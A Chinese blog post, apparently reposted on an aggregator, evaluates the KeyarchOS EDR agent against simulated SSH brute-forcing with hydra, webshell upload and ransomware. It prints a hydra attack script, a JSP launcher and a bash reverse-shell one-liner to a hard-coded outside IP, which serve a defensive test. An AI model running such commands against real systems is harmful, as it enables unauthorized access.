浪潮信息KeyarchOS EDR 安全防护测评

news2025/2/22 15:40:48

背景

近几年服务器安全防护越来越受到企业的重视,企业在选购时不再仅仅看重成本,还更看重安全性,因为一旦数据泄露,被暴力破解,将对公司业务造成毁灭性打击。鉴于人们对服务器安全性的看重,本篇文章就来测评一下市场上一款非常畅销的服务器操作系统——浪潮信息服务器操作系统云峦KeyarchOS。

环境准备

在本次测评中,我们使用三台已经安装了KeyarchOS系统的机器(以下简称KOS主机),由于KOS的防护功能需要安装EDR安全工具(通过安装在KOS主机上的本地客户端(Agent)与管理中心联动,提供病毒木马、勒索软件、暴力破解等攻击的查杀防护功能,防御未知程序运行和关键业务文件篡改),我们的机器配置如下:

3台安装了KOS系统的服务器

编号

设备名称

备注

A

KOS主机

安装EDR agent

B

KOS主机

未安装EDR agent

C

EDR管理中心

未安装EDR agent

另外在攻防演示时需要的病毒文件及程序也已经提前安装好了。下文会详细介绍。

下面进入第一个真实的业务场景。

基于暴力破解的横向渗透防护

在暴力破解中,攻击人员经常会使用一些工具来扫描,攻击我们的服务器了。使用这工具进行扫描漏洞,使用字典不断试出密码。

下面看一下KOS在防护hydra暴力破解工具方面的表现。

我们在B主机安装要使用 hydra工具,并编写用于攻击的脚本 hydra.sh。

该脚本将会攻击我们的主机A(安装了EDR ) 和主机C(未安装EDR )。

其中hydra.sh代码如下:

#!/bin/bashcd /usr

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机C IP]

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机A IP]

以上的命令是使用 hydra 工具进行 SSH 密码破解。下面是命令中各选项的详细解释:

hydra: 这是要使用的工具,hydra 是一个开源的、命令行下的多线程密码破解工具,可以用来破解各种服务的密码,包括 SSH、FTP、HTTP 等。

-l root: 这表示使用 “root” 作为用户名进行尝试。你可以替换 “root” 为任何你想要尝试的用户名。

-P pass_30.txt: 这表示使用 “pass_30.txt” 文件作为密码源。这个文件应该包含了你想要尝试的所有可能的密码。注意,这个文件需要在当前工作目录下,或者你需要提供完整的文件路径。

-t 4: 这表示使用 4 个线程进行破解。你可以根据需要增加或减少线程数。

-I ssh://[主机C IP] 这是你要破解的目标服务器的地址。在这个例子中,目标服务器是位于 IP 地址 [主机C IP] 的 SSH 服务。注意,在 IP 地址前需要加上 “ssh://”。

使用下面指令来运行该脚本 sh hydra.sh,以下为显示的日志

从日志中我们可以看到,主机B向主机A发起的破解,被拦截下来,这是因为主机A安装了EDR 。

反观未安装EDR 的主机C则被成功爆破,被破解了登录密码。

挖矿病毒防护

最近有一些人利用工具扫描服务器漏洞,利用扫描出的漏洞,上传文件,进行远程操作机器,我们熟知的挖矿病毒就是这样一类程序。

下面来演示一下,KOS在防范shell入侵的表现。

首先在主机A,主机B上准备好上传文件的程序。打开浏览器,访问 http://IP:8080/reverse/upload.html页面 这是一个上传文件的页面。如下图:

其中 upload.html内容如下:

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta charset="utf-8">

<style>

.button {

        font-size: 13px;

        display: inline-block;

        font-weight: normal;

        text-align: center;

        vertical-align: middle;

        -ms-touch-action: manipulation;

        touch-action: manipulation;

        cursor: pointer;

        background-image: none;

        border-width: 1px;

        white-space: nowrap;

        font-size: 12px;

        height: 26px;

        line-height: 26px;

        padding: 0 10px;

        -webkit-user-select: none;

        -moz-user-select: none;

        -ms-user-select: none;

        user-select: none;

        background: #28a6fa;

        border-color: #28a6fa;

        width:60px;

}

.filese{

        height: 26px;

}

.fdiv{

        height:80px;

        color:white;

        width:100%;

}

.bodybg{

        width:100%;

        background-image:url("kosbgc.png");

}

.spant{

        font-size:30px;



}

.span1{

        color:white;

}

</style>



</head>

<body class="bodybg">

<div class="fdiv">

<span class="spant">文件交换系统</span>

</div>

 <form action="action.jsp" enctype="multipart/form-data" method="POST">

  <span class="span1">选择文件: </span><input class="filese" type="file" name="myfile" /> <input class="button"

   type="submit" value="提交" />

 </form>

</body>

</html>

通过这个入口上传两个文件 reverse.jsp 和 shell.sh

两个文件的内容如下:

reverse.jsp内容:

<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>



<%

  class StreamConnector extends Thread

  {

    InputStream wv;

    OutputStream ne;



    StreamConnector( InputStream wv, OutputStream ne )

    {

      this.wv = wv;

      this.ne = ne;

    }



    public void run()

    {

      BufferedReader qn  = null;

      BufferedWriter agw = null;

      try

      {

        qn  = new BufferedReader( new InputStreamReader( this.wv ) );

        agw = new BufferedWriter( new OutputStreamWriter( this.ne ) );

        char buffer[] = new char[8192];

        int length;

        while( ( length = qn.read( buffer, 0, buffer.length ) ) > 0 )

        {

          agw.write( buffer, 0, length );

          agw.flush();

        }

      } catch( Exception e ){}

      try

      {

        if( qn != null )

          qn.close();

        if( agw != null )

          agw.close();

      } catch( Exception e ){}

    }

  }



  try

  {

    String ShellPath = new String();

    ShellPath = "/bin/bash /usr/share/tomcat/webapps/reverse/shell.sh";

    Process process = Runtime.getRuntime().exec( ShellPath );

  } catch( Exception e ) {}

%>

shell.sh 内容

#!/bin/bash
bash -i >& /dev/tcp/43.140.202.127/8446 0>&1

在安装了EDR agent的机器A上,上传病毒文件,直接显示上传失败

下面看一下在未安装EDR agent的机器B上的表现。

在机器B上,能够直接上成功两个文件。

上成功后我们在测试靶机C使用nc -l -vv -p 8446命令监听8446端口

能够看到 主机B (未安装EDR)在测试靶机反弹成功,到了这一步,主机B已经执行了上传的shell.sh脚本。

勒索病毒防护

我们在机器A和机器B上分别执行勒索病毒脚本,该勒索病毒会加密我们的doc文件。

执行脚本install.sh

#!/bin/bash


./testransomware /opt/2csec/

我们使用加密病毒testransomware 来对某个文件夹下的doc文件进行加密。

在 主机B (未安装EDR) 执行结果

从日志上看,文件都以被加密完成。

查看/opt/2csec 文件夹。查看文件,发现文件扩展名都已被修改。

在 主机A (未安装EDR) 执行结果

会将进程杀死,并删除testransomware病毒

总结

以上就是针对浪潮信息KOS做的一些安防测评,模拟了最常见的暴力破解,漏洞上传,和勒索病毒的防控。

从大体上来讲在安装了EDR安全工具的KOS主机上,都能够准确无误地识别并拦截成功。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1290930.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

智能外呼是什么?智能外呼怎么样?

智能外呼是什么&#xff1f; 当今业务通讯领域&#xff0c;智能外呼已经成为了一种普遍应用的技术。智能外呼是利用人工智能技术和自动化系统来进行电话呼叫和信息传递的一种方式。它可以帮助企业有效地进行市场营销和客户服务&#xff0c;极大地提高工作效率。 智能外呼系统…

HarmonyOS4.0从零开始的开发教程01运行Hello World

HarmonyOS&#xff08;一&#xff09;运行Hello World 下载与安装DevEco Studio 在HarmonyOS应用开发学习之前&#xff0c;需要进行一些准备工作&#xff0c;首先需要完成开发工具DevEco Studio的下载与安装以及环境配置。 进入DevEco Studio下载官网&#xff0c;单击“立即…

点滴生活记录1

2023/10/10 今天骑小电驴上班&#xff0c;带着小鸭子一起。路上的时候&#xff0c;我给小鸭子说&#xff0c;你要帮我看着点路&#xff0c;有危险的时候提醒我&#xff0c;也就刚说完没几分钟&#xff0c;一个没注意&#xff0c;直接撞到一个拦路铁墩子上&#xff0c;车子连人歪…

流量异常-挂马造成百度收录异常关键词之解决方案(虚拟主机)

一.异常现象&#xff1a;流量突然暴涨&#xff0c;达到平时流量几倍乃至几十倍&#xff0c;大多数情况下因流量超标网站被停止。 二.排查原因&#xff1a; 1.首先分析web日志&#xff1a;访问量明显的成倍、几十倍的增加&#xff1b;访问页面不同&#xff1b;访问IP分散并不固…

2023 IoTDB 用户大会成功举办,深入洞察工业互联网数据价值

2023 年 12 月 3 日&#xff0c;中国通信学会作为指导单位&#xff0c;Apache IoTDB Community、清华大学软件学院、中国通信学会开源技术委员会联合主办&#xff0c;“科创中国”开源产业科技服务团和天谋科技&#xff08;北京&#xff09;有限公司承办的 2023 IoTDB 用户大会…

深度学习(六):paddleOCR理解及识别手写体,手写公式,表格

1.介绍 1.1 什么是OCR? 光学字符识别&#xff08;Optical Character Recognition, OCR&#xff09;&#xff0c;ORC是指对包含文本资料的图像文件进行分析识别处理&#xff0c;获取文字及版面信息的技术&#xff0c;检测图像中的文本资料&#xff0c;并且识别出文本的内容。…

JVM 执行引擎篇

机器码、指令、汇编语言 机器码 各种用二进制编码方式表示的指令&#xff0c;叫做机器指令码。开始&#xff0c;人们就用它采编写程序&#xff0c;这就是机器语言。机器语言虽然能够被计算机理解和接受&#xff0c;但和人们的语言差别太大&#xff0c;不易被人们理解和记忆&a…

Centos服务器上根据端口号查询jar包,根据jar包查端口号

在开发springboot服务器时&#xff0c;经常会遇到其他人部署的java服务&#xff0c;需要自己维护&#xff0c;留下的信息又非常少。经常面临找不到jar包位置&#xff0c;或者不知道占用端口&#xff0c;不知道启动命令的问题。这里记录一下常用的centos服务器上的命令&#xff…

物联网安全芯片ACL16 采用 32 位内核,片内集成多种安全密码模块 且低成本、低功耗

ACL16 芯片是研制的一款32 位的安全芯片&#xff0c;专门面向低成本、低功耗的应用领域&#xff0c; 特别针对各类 USB KEY 和安全 SE 等市场提供完善而有竞争力的解决方案。芯片采用 32 位内核&#xff0c;片内集成多种安全密码模块&#xff0c;包括SM1、 SM2、SM3、 SM4 算法…

103.进程概述

目录 1.并行和并发 区别&#xff1a; 2.PCB 3.进程状态 4. 进程命令 从严格意义上来讲&#xff0c;程序和进程是两个不同的概念&#xff0c;他们的状态&#xff0c;占用的系统资源都是不同的。 程序&#xff1a;程序是一种静态实体&#xff0c;是存储在计算机存储介质上的…

docker基本管理和相关概念

1、docker是什么&#xff1f; docker是开源的应用容器引擎。基于go语言开发的&#xff0c;运行在Linux系统当中开源轻量级的“虚拟机”。 docker可以在一台主机上轻松的为任何应用创建一个轻量级的&#xff0c;可移植的&#xff0c;自给自足的容器。docker的宿主机是Linux系统…

5 TF-A

一、TF-A的使用 TF-A是什么&#xff1f; TF-A 全称是 Arm Trusted Firmware&#xff0c;TF-A是为了保证安全&#xff0c;arm退出的可信固件&#xff0c;简称TF-A。它的作用就是隔离硬件&#xff0c;为硬件提供一个安全环境并提供安全服务。 1. 系统源码获取 STM32MP1Dev - STM…

【算法】约瑟夫环

约瑟夫问题是个有名的问题&#xff1a;N个人围成一圈&#xff0c;从第一个开始报数&#xff0c;第M个将被杀掉&#xff0c;最后剩下一个&#xff0c;其余人都将被杀掉。例如N6&#xff0c;M5&#xff0c;被杀掉的顺序是&#xff1a;5&#xff0c;4&#xff0c;6&#xff0c;2&a…

软件测试外包干了2个月,技术进步2年。。。

先说一下自己的情况&#xff0c;本科生&#xff0c;18年通过校招进入北京某软件公司&#xff0c;干了接近2年的功能测试&#xff0c;今年国庆&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了2年的功能测试&…

WireShark监控浏览器登录过程网络请求

软件开发中经常前后端扯皮。一种是用Chrome浏览器的开发者工具 来看网络交互&#xff0c;但是前提是 网络端口的确是通的。 WireShark工作在更低层。 这个工具最大的好处&#xff0c;大家别扯皮&#xff0c;看网络底层的log&#xff0c;到底 你的端口开没开&#xff0c; 数据…

Day03 linux高级系统编程--进程

概念 进程与程序的区别 进程&#xff1a;一个正在运行的代码就叫做进程&#xff0c;是动态的&#xff0c;会占用内存 程序&#xff1a;一段封装好的待运行的代码或可执行文件&#xff0c;是静态的&#xff0c;会占用磁盘空间 单道与多道程序 单道&#xff1a;程序一个一个…

Qt Creator :Analyze heob 使用教程

功能&#xff1a;在windows系统上检测和调试软件代码的内存泄漏情况&#xff1b; 使用环境 &#xff1a;需要下载 heob和dwarfstack 把dwarfstack动态库放在heob的执行程序目录下 使用步骤&#xff1a; 第三步&#xff1a;配置启动调试程序 第四步&#xff1a;配置heob的路…

Spring Boot学习随笔-SpringBoot的引言,回顾传统SSM开发

学习视频&#xff1a;【编程不良人】2021年SpringBoot最新最全教程 第一章、传统SSM开发回顾以及问题 Spring SpringMVC Mybatis SSM 实现一个简单功能 员工添加、查询… SSM项目简单实现 项目 需求分析 —>概要设计 —>&#xff08;库表设计&#xff09; —> 详细…

三、jvm中的对象及引用

一、对象在jvm的创建过程 检查加载-->分配内存-->内存空间初始化-->设置-->对象初始化 1) 检查加载 首先检查这个指令的参数是否能在常量池中定位到一个类的符号引用&#xff0c;并且检查类是否已经被加载、解析和初始化过。 虚拟机遇到一条 new 指令时&#xf…